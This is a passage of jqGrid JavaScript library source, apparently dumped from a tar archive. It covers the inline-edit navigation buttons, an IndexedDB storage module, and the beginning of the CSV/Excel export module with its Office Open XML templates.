p.position); p.rowID = $t.p.idPrefix + p.rowID; $("#"+$.jgrid.jqID(p.rowID), "#"+$.jgrid.jqID($t.p.id)).addClass("jqgrid-new-row"); if(p.useFormatter) { $("#"+$.jgrid.jqID(p.rowID)+" .ui-inline-edit", "#"+$.jgrid.jqID($t.p.id)).click(); } else { var opers = $t.p.prmNames, oper = opers.oper; p.addRowParams.extraparam[oper] = opers.addoper; $($t).jqGrid('editRow', p.rowID, p.addRowParams); $($t).jqGrid('setSelection', p.rowID); } }); }, inlineNav : function (elem, o) { var $t = this[0], regional = $.jgrid.getRegional($t, 'nav'), icons = $.jgrid.styleUI[$t.p.styleUI].inlinedit; o = $.extend(true,{ edit: true, editicon: icons.icon_edit_nav, add: true, addicon:icons.icon_add_nav, save: true, saveicon: icons.icon_save_nav, cancel: true, cancelicon: icons.icon_cancel_nav, addParams : {addRowParams: {extraparam: {}}}, editParams : {}, restoreAfterSelect : true, saveAfterSelect : false }, regional, o ||{}); return this.each(function(){ if (!this.grid || this.p.inlineNav) { return; } var gID = $.jgrid.jqID($t.p.id), disabled = $.jgrid.trim( $($t).jqGrid('getStyleUI', $t.p.styleUI+'.common', 'disabled', true) ); // check to see if navgrid is started, if not call it with all false parameters. if(!$t.p.navGrid) { $($t).jqGrid('navGrid',elem, {refresh:false, edit: false, add: false, del: false, search: false, view: false}); } if(!$($t).data('inlineNav')) { $($t).data('inlineNav',o); } if($t.p.force_regional) { o = $.extend(o, regional); } $t.p.inlineNav = true; // detect the formatactions column if(o.addParams.useFormatter === true) { var cm = $t.p.colModel,i; for (i = 0; i<cm.length; i++) { if(cm[i].formatter && cm[i].formatter === "actions" ) { if(cm[i].formatoptions) { var defaults = { keys:false, onEdit : null, onSuccess: null, afterSave:null, onError: null, afterRestore: null, extraparam: {}, url: null }, ap = $.extend( defaults, cm[i].formatoptions ); o.addParams.addRowParams = { "keys" : ap.keys, "oneditfunc" : ap.onEdit, "successfunc" : ap.onSuccess, "url" : ap.url, "extraparam" : ap.extraparam, "aftersavefunc" : ap.afterSave, "errorfunc": ap.onError, "afterrestorefunc" : ap.afterRestore }; } break; } } } if(o.add) { $($t).jqGrid('navButtonAdd', elem,{ caption : o.addtext, title : o.addtitle, buttonicon : o.addicon, id : $t.p.id+"_iladd", internal : true, onClickButton : function () { if($t.p.beforeAction === undefined) { $t.p.beforeAction = true; } $($t).jqGrid('addRow', o.addParams); if(!o.addParams.useFormatter && $t.p.beforeAction) { $("#"+gID+"_ilsave").removeClass( disabled ); $("#"+gID+"_ilcancel").removeClass( disabled ); $("#"+gID+"_iladd").addClass( disabled ); $("#"+gID+"_iledit").addClass( disabled ); } } }); } if(o.edit) { $($t).jqGrid('navButtonAdd', elem,{ caption : o.edittext, title : o.edittitle, buttonicon : o.editicon, id : $t.p.id+"_iledit", internal : true, onClickButton : function () { var sr = $($t).jqGrid('getGridParam','selrow'); if(sr) { if($t.p.beforeAction === undefined) { $t.p.beforeAction = true; } $($t).jqGrid('editRow', sr, o.editParams); if($t.p.beforeAction) { $("#"+gID+"_ilsave").removeClass( disabled ); $("#"+gID+"_ilcancel").removeClass( disabled ); $("#"+gID+"_iladd").addClass( disabled ); $("#"+gID+"_iledit").addClass( disabled ); } } else { $.jgrid.viewModal("#alertmod_"+gID, {gbox:"#gbox_"+gID,jqm:true});$("#jqg_alrt").focus(); } } }); } if(o.save) { $($t).jqGrid('navButtonAdd', elem,{ caption : o.savetext || '', title : o.savetitle || 'Save row', buttonicon : o.saveicon, id : $t.p.id+"_ilsave", internal : true, onClickButton : function () { var sr = $t.p.savedRow[0].id; if(sr) { var opers = $t.p.prmNames, oper = opers.oper, tmpParams = o.editParams; if($("#"+$.jgrid.jqID(sr), "#"+gID ).hasClass("jqgrid-new-row")) { o.addParams.addRowParams.extraparam[oper] = opers.addoper; tmpParams = o.addParams.addRowParams; } else { if(!o.editParams.extraparam) { o.editParams.extraparam = {}; } o.editParams.extraparam[oper] = opers.editoper; } if( $($t).jqGrid('saveRow', sr, tmpParams) ) { $($t).jqGrid('showAddEditButtons'); } } else { $.jgrid.viewModal("#alertmod_"+gID, {gbox:"#gbox_"+gID,jqm:true});$("#jqg_alrt").focus(); } } }); $("#"+gID+"_ilsave").addClass( disabled ); } if(o.cancel) { $($t).jqGrid('navButtonAdd', elem,{ caption : o.canceltext || '', title : o.canceltitle || 'Cancel row editing', buttonicon : o.cancelicon, id : $t.p.id+"_ilcancel", internal : true, onClickButton : function () { var sr = $t.p.savedRow[0].id, cancelPrm = o.editParams; if(sr) { if($("#"+$.jgrid.jqID(sr), "#"+gID ).hasClass("jqgrid-new-row")) { cancelPrm = o.addParams.addRowParams; } $($t).jqGrid('restoreRow', sr, cancelPrm); $($t).jqGrid('showAddEditButtons'); } else { $.jgrid.viewModal("#alertmod",{gbox:"#gbox_"+gID,jqm:true});$("#jqg_alrt").focus(); } } }); $("#"+gID+"_ilcancel").addClass( disabled ); } if(o.restoreAfterSelect === true || o.saveAfterSelect === true) { $($t).on("jqGridBeforeSelectRow.inlineNav", function( event, id ) { if($t.p.savedRow.length > 0 && $t.p.inlineNav===true && ( id !== $t.p.selrow && $t.p.selrow !==null) ) { var success = true; if($t.p.selrow === o.addParams.rowID ) { $($t).jqGrid('delRowData', $t.p.selrow); } else { if(o.restoreAfterSelect === true) { $($t).jqGrid('restoreRow', $t.p.selrow, o.editParams); } else { success = $($t).jqGrid('saveRow', $t.p.selrow, o.editParams); } } if(success) { $($t).jqGrid('showAddEditButtons'); } } }); } }); }, showAddEditButtons : function() { return this.each(function(){ if (!this.grid ) { return; } var gID = $.jgrid.jqID(this.p.id), disabled = $.jgrid.trim( $(this).jqGrid('getStyleUI', this.p.styleUI+'.common', 'disabled', true) ); $("#"+gID+"_ilsave").addClass( disabled ); $("#"+gID+"_ilcancel").addClass( disabled ); $("#"+gID+"_iladd").removeClass( disabled ); $("#"+gID+"_iledit").removeClass( disabled ); }); }, showSaveCancelButtons : function() { return this.each(function(){ if (!this.grid ) { return; } var gID = $.jgrid.jqID(this.p.id), disabled = $.jgrid.trim( $(this).jqGrid('getStyleUI', this.p.styleUI+'.common', 'disabled', true) ); $("#"+gID+"_ilsave").removeClass( disabled ); $("#"+gID+"_ilcancel").removeClass( disabled ); $("#"+gID+"_iladd").addClass( disabled ); $("#"+gID+"_iledit").addClass( disabled ); }); } //end inline edit }); //module end })); grid.database.js000064400000023006151677266200007607 0ustar00/*jshint eqeqeq:false, eqnull:true */ /*global jQuery, define */ // Grouping module (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid.extend({ dbInit : function (dbtype) { return this.each(function (){ switch (dbtype) { case 'indexeddb': $(this).jqGrid('_initIndexedDB_'); break; } }); }, _initIndexedDB_ : function() { this.each(function(){ var ts = this; indexedDB.databases().then(function(r) { const connection = indexedDB.open(ts.p.dbconfig.dbname /*, ts.p.dbconfig.dbversion*/); connection.onupgradeneeded = (e) => { console.info('Database created: '+ts.p.dbconfig.dbname); }; connection.onsuccess = function(e) { const db = e.target.result; var version = parseInt(db.version), idcol = $.jgrid.getElemByAttrVal(ts.p.colModel, 'key', true); async function getIndexedDbData( skipCreate ) { var data, options = ts.p.dbconfig; if(typeof options.dataUrl === 'string') { try { let req = await fetch(options.dataUrl, options.fetchOptions); data = await req.json(); if(options.reader !== null) { data = $.jgrid.getAccessor(data, options.reader); } } catch(error) { console.log("Error:" +error); return; } if($.jgrid.isFunction(options.beforeInsertData)) { data = options.beforeInsertData.call(ts, data); } } else if(Array.isArray(options.dataUrl)) { data = options.dataUrl; } ts.p.dbconfig.dbversion = version + 1; var secondconn = indexedDB.open(options.dbname, version + 1/*, ts.p.dbconfig.dbversion*/); secondconn.onupgradeneeded = function (e) { var db = e.target.result; if(!skipCreate) { const objectStore = db.createObjectStore(ts.p.dbconfig.dbtable, {keyPath: idcol.name}); for(let i =0;i<ts.p.colModel.length; i++) { let cm = ts.p.colModel[i]; if(cm.name === idcol.name) { objectStore.createIndex(cm.name, cm.name, { unique: true }); } else { objectStore.createIndex(cm.name, cm.name, { unique: false }); } } } const transaction = e.target.transaction; const objectStore1 = transaction.objectStore(ts.p.dbconfig.dbtable); objectStore1.transaction.oncomplete = function(e){ // data added //ts.p.dbconfig.loadIfExists = false; }; objectStore1.transaction.onerror = function(e){ $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }; for(var row of data){ if(!ts.p.dbconfig.isKeyInData) { row[idcol.name] = Math.random().toString(16).slice(2); } objectStore1.put(row); } ts.p.dbconfig.ready_req = true; ts.grid.populate(); }; secondconn.onerror =(e) => { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }; } if($.isEmptyObject(idcol)) { $.jgrid.info_dialog("Warning","Missed key: No uniquie key is set in colModel. Creating table fail",'Close'); return; } if( !db.objectStoreNames.contains(ts.p.dbconfig.dbtable) ) { db.close(); getIndexedDbData( false ); } else if(ts.p.dbconfig.loadIfExists || ts.p.dbconfig.deleteIfExists) { const tr = db.transaction(ts.p.dbconfig.dbtable, "readwrite"); const oS = tr.objectStore(ts.p.dbconfig.dbtable); const countRequest = oS.count(); countRequest.onsuccess = () => { if(countRequest.result > 0) { if(ts.p.dbconfig.deleteIfExists) { const objectStoreRequest = oS.clear(); objectStoreRequest.onsuccess = (event) => { // report the success of our request console.log("All records are cleared"); db.close(); getIndexedDbData( true ); }; objectStoreRequest.onerror = (e) => { // report the success of our request $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }; } else if(ts.p.dbconfig.loadIfExists) { db.close(); getIndexedDbData( true ); } else { db.close(); ts.p.dbconfig.ready_req = true; ts.grid.populate(); } } else { db.close(); getIndexedDbData( true ); } }; } else { db.close(); ts.p.dbconfig.ready_req = true; ts.grid.populate(); } }; connection.onerror =(e) => { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }; }); });}, updateStorageRecord : async function (data, keyName) { let ts = this[0], dbcfg = ts.p.dbconfig, type = ts.p.datatype; return new Promise(function(resolve, reject){ if(!Array.isArray(data)) { data = [data]; } if(!keyName) { keyName = ts.p.keyName; } data = $.jgrid.normalizeDbData.call(ts, data, ts.p.colModel ); switch(type) { case 'indexeddb' : const DBOpenRequest = window.indexedDB.open(dbcfg.dbname /*, dbcfg.dbversion*/); DBOpenRequest.onsuccess = (event) => { const db = DBOpenRequest.result; const transaction = db.transaction(dbcfg.dbtable, "readwrite"); transaction.oncomplete = (event) => { resolve(event); console.log("Transaction completed succefully"); }; transaction.onerror = (event) => { reject(event); try { $.jgrid.info_dialog.call("Error", event.target.error, "Close", {styleUI : ts.p.styleUI}); } catch (e) { console.log(event.target.error); } }; const objectStore = transaction.objectStore(dbcfg.dbtable); for(let i=0;i<data.length;i++) { if(!data[i].hasOwnProperty(keyName) || data[i][keyName] === "") { transaction.abort(); break; } const req2 = objectStore.openCursor(); req2.onsuccess = (e) => { const cursor = e.target.result; if(!cursor) { return; } var updateData = cursor.value; if(updateData[keyName] === data[i][keyName]) { delete data[i].oper; updateData = Object.assign(updateData, data[i]); const updateRequest = cursor.update(updateData); return; } else { cursor.continue(); } }; req2.onerror = (e) => { console.log(e.target.error); }; } }; break; } }); }, addStorageRecord : async function (data, keyName) { let ts = this[0], dbcfg = ts.p.dbconfig, type = ts.p.datatype; return new Promise(function(resolve, reject){ if(!Array.isArray(data)) { data = [data]; } if(!keyName) { keyName = ts.p.keyName; } data = $.jgrid.normalizeDbData.call(ts, data, ts.p.colModel ); switch(type) { case 'indexeddb' : const DBOpenRequest = window.indexedDB.open(dbcfg.dbname /*, dbcfg.dbversion*/); DBOpenRequest.onsuccess = (event) => { const db = DBOpenRequest.result; const transaction = db.transaction(dbcfg.dbtable, "readwrite"); transaction.oncomplete = (event) => { resolve(event); console.log("Transaction completed succefully"); }; transaction.onerror = (event) => { reject(event); try { $.jgrid.info_dialog.call("Error", event.target.error, "Close", {styleUI : ts.p.styleUI}); } catch (e) { console.log(event.target.error); } }; const objectStore = transaction.objectStore(dbcfg.dbtable); for(let i=0;i<data.length;i++) { if(!data[i].hasOwnProperty(keyName) || data[i][keyName] === "") { data[i][keyName] = Math.random().toString(16).slice(2); } var objectStoreRequest = objectStore.add(data[i]); objectStoreRequest.onsuccess = (event) => { //console.log(event.type, objectStoreRequest.result); }; } }; break; } }); }, deleteStorageRecord : async function (data, keyName) { let ts = this[0], dbcfg = ts.p.dbconfig, type = ts.p.datatype; return new Promise(function(resolve, reject){ if(!Array.isArray(data)) { data = data.split(","); } if(!keyName) { keyName = ts.p.keyName; } switch(type) { case 'indexeddb' : var test =[], obj={}; for (let i=0;i<data.length;i++) { obj[keyName] = data[i]; test.push(obj); } // detect keytype test = $.jgrid.normalizeDbData.call(ts, test, ts.p.colModel ); const DBOpenRequest = window.indexedDB.open(dbcfg.dbname /*, dbcfg.dbversion*/); DBOpenRequest.onsuccess = (event) => { const db = DBOpenRequest.result; const transaction = db.transaction(dbcfg.dbtable, "readwrite"); transaction.oncomplete = (event) => { resolve(event); console.log("Transaction completed succefully"); }; transaction.onerror = (event) => { reject(event); try { $.jgrid.info_dialog.call("Error", event.target.error, "Close", {styleUI : ts.p.styleUI}); } catch (e) { console.log(event.target.error); } }; const objectStore = transaction.objectStore(dbcfg.dbtable); for(let i=0;i<data.length;i++) { var objectStoreRequest = objectStore.delete(test[i][keyName]); objectStoreRequest.onsuccess = (event) => { console.log("Deleted record: " + data[i]); }; } }; break; } }); } }); //module end })); grid.export.js000064400000230423151677266200007367 0ustar00/*jshint eqeqeq:false, eqnull:true, devel:true */ /*global jQuery, JSZip, pdfMake, XMLSerializer, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base", "./jquery.fmatter", "./grid.utils" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid = $.jgrid || {}; $.extend($.jgrid,{ formatCell : function ( cellval , colpos, rwdat, cm, $t, etype){ var v; if(cm.formatter !== undefined) { var opts= {rowId: '', colModel:cm, gid: $t.p.id, pos:colpos, styleUI: '', isExported : true, exporttype : etype }; if($.jgrid.isFunction( cm.formatter ) ) { v = cm.formatter.call($t,cellval,opts,rwdat); } else if($.fmatter){ v = $.fn.fmatter.call($t,cm.formatter,cellval,opts,rwdat); } else { v = cellval; } } else { v = cellval; } return v; }, formatCellCsv : function (v, p) { v = v == null ? '' : String(v); try { v = $.jgrid.stripHtml( v.replace(p._regexsep ,p.separatorReplace).replace(/\r\n/g, p.replaceNewLine).replace(/\n/g, p.replaceNewLine)); } catch (_e) { v=""; } if(p.escquote) { v = v.replace(p._regexquot, p.escquote + p.quote); } if( v.indexOf(p.separator) === -1 || v.indexOf(p.qoute) === -1) { v = p.quote + v + p.quote; } return v; }, excelCellPos : function ( n ){ var ordA = 'A'.charCodeAt(0), ordZ = 'Z'.charCodeAt(0), len = ordZ - ordA + 1, s = ""; while( n >= 0 ) { s = String.fromCharCode(n % len + ordA) + s; n = Math.floor(n / len) - 1; } return s; }, makeNode : function ( root, elemName, options ) { var currNode = root.createElement( elemName ); if ( options ) { if ( options.attr ) { $(currNode).attr( options.attr ); } if( options.children ) { $.each( options.children, function ( key, value ) { currNode.appendChild( value ); }); } if( options.hasOwnProperty('text') ) { currNode.appendChild( root.createTextNode( options.text ) ); } } return currNode; }, xmlToZip : function ( zip, obj ) { var $t = this, xmlserialiser = new XMLSerializer(), // IE >= 9 ieExcel = xmlserialiser.serializeToString( $.parseXML( $.jgrid.excelStrings['xl/worksheets/sheet1.xml'] ) ) .indexOf( 'xmlns:r' ) === -1, newDir, worksheet, i, ien, attr, attrs = [], str; $.each( obj, function ( name, val ) { if ( $.isPlainObject( val ) ) { newDir = zip.folder( name ); $t.xmlToZip( newDir, val ); } else { if ( ieExcel ) { worksheet = val.childNodes[0]; for ( i=worksheet.attributes.length-1 ; i>=0 ; i-- ) { var attrName = worksheet.attributes[i].nodeName; var attrValue = worksheet.attributes[i].nodeValue; if ( attrName.indexOf( ':' ) !== -1 ) { attrs.push( { name: attrName, value: attrValue } ); worksheet.removeAttribute( attrName ); } } for ( i=0, ien=attrs.length ; i<ien ; i++ ) { attr = val.createAttribute( attrs[i].name.replace( ':', '_dt_b_namespace_token_' ) ); attr.value = attrs[i].value; worksheet.setAttributeNode( attr ); } } // suuport of all browsers str = xmlserialiser.serializeToString(val); // Fix IE's XML if ( ieExcel ) { if ( str.indexOf( '<?xml' ) === -1 ) { str = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+str; } str = str.replace( /_dt_b_namespace_token_/g, ':' ); } str = str .replace( /<row xmlns="" /g, '<row ' ) .replace( /<cols xmlns="">/g, '<cols>' ) .replace( /<mergeCells xmlns="" /g, '<mergeCells ' ) .replace( /<numFmt xmlns="" /g, '<numFmt ' ) .replace( /<xf xmlns="" /g, '<xf ' ); zip.file( name, str ); } } ); }, excelStrings : { "_rels/.rels": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'+ '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'+ '</Relationships>', "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'+ '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>'+ '<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>'+ '</Relationships>', "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'+ '<Default Extension="xml" ContentType="application/xml" />'+ '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml" />'+ '<Default Extension="jpeg" ContentType="image/jpeg" />'+ '<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" />'+ '<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" />'+ '<Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" />'+ '</Types>', "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'+ '<fileVersion appName="xl" lastEdited="5" lowestEdited="5" rupBuild="24816"/>'+ '<workbookPr showInkAnnotation="0" autoCompressPictures="0"/>'+ '<bookViews>'+ '<workbookView xWindow="0" yWindow="0" windowWidth="25600" windowHeight="19020" tabRatio="500"/>'+ '</bookViews>'+ '<sheets>'+ '<sheet name="Sheet1" sheetId="1" r:id="rId1"/>'+ '</sheets>'+ '</workbook>', "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'+ '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">'+ '<sheetData/>'+ '</worksheet>', "xl/styles.xml": '<?xml version="1.0" encoding="UTF-8"?>'+ '<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">'+ '<numFmts count="7">'+ '<numFmt numFmtId="164" formatCode="#,##0.00_-\ [$$-45C]"/>'+ '<numFmt numFmtId="165" formatCode=""£"#,##0.00"/>'+ '<numFmt numFmtId="166" formatCode="[$€-2]\ #,##0.00"/>'+ '<numFmt numFmtId="167" formatCode="0.0%"/>'+ '<numFmt numFmtId="168" formatCode="#,##0;(#,##0)"/>'+ '<numFmt numFmtId="169" formatCode="#,##0.00;(#,##0.00)"/>'+ '<numFmt numFmtId="170" formatCode="yyyy/mm/dd;@"/>'+ '</numFmts>'+ '<fonts count="5" x14ac:knownFonts="1">'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '</font>'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '<color rgb="FFFFFFFF" />'+ '</font>'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '<b />'+ '</font>'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '<i />'+ '</font>'+ '<font>'+ '<sz val="11" />'+ '<name val="Calibri" />'+ '<u />'+ '</font>'+ '</fonts>'+ '<fills count="6">'+ '<fill>'+ '<patternFill patternType="none" />'+ '</fill>'+ '<fill/>'+ '<fill>'+ '<patternFill patternType="solid">'+ '<fgColor rgb="FFD9D9D9" />'+ '<bgColor indexed="64" />'+ '</patternFill>'+ '</fill>'+ '<fill>'+ '<patternFill patternType="solid">'+ '<fgColor rgb="FFD99795" />'+ '<bgColor indexed="64" />'+ '</patternFill>'+ '</fill>'+ '<fill>'+ '<patternFill patternType="solid">'+ '<fgColor rgb="ffc6efce" />'+ '<bgColor indexed="64" />'+ '</patternFill>'+ '</fill>'+ '<fill>'+ '<patternFill patternType="solid">'+ '<fgColor rgb="ffc6cfef" />'+ '<bgColor indexed="64" />'+ '</patternFill>'+ '</fill>'+ '</fills>'+ '<borders count="2">'+ '<border>'+ '<left />'+ '<right />'+ '<top />'+ '<bottom />'+ '<diagonal />'+ '</border>'+ '<border diagonalUp="false" diagonalDown="false">'+ '<left style="thin">'+ '<color auto="1" />'+ '</left>'+ '<right style="thin">'+ '<color auto="1" />'+ '</right>'+ '<top style="thin">'+ '<color auto="1" />'+ '</top>'+ '<bottom style="thin">'+ '<color auto="1" />'+ '</bottom>'+ '<diagonal />'+ '</border>'+ '</borders>'+ '<cellStyleXfs count="1">'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" />'+ '</cellStyleXfs>'+ '<cellXfs count="69">'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="1" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="2" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="3" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="4" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment horizontal="left"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment horizontal="center"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment horizontal="right"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment horizontal="fill"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment textRotation="90"/>'+ '</xf>'+ '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">'+ '<alignment wrapText="1"/>'+ '</xf>'+ '<xf numFmtId="9" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="164" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="165" fontId="0" fillId="0" borderId="0" applyFont="1" 